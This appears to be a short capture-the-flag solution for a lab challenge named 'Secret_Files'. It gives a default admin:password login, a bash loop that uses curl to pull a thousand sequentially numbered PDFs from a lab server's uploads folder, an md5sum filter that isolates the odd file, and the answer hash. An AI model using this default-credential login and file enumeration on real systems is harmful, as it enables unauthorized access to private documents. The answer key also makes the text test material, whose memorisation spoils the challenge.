SOLUTION
login is admin:password
root@cboekali-100:~/Challenges/Secret_Files#
for f in {1..1000};
do
curl -O -k https://10.12.32.95:1002/uploads/secret_document${f}.pdf;
done
root@cboekali-100:~/Challenges/Secret_Files#
md5sum * | grep -v e085cbbe54dea476ec093362bbe2972b
ed60d7507077982bec08c2c98fe3521f secret_document222.pdf
Shell
5a3120aef7d098ea27a3c5de177b2602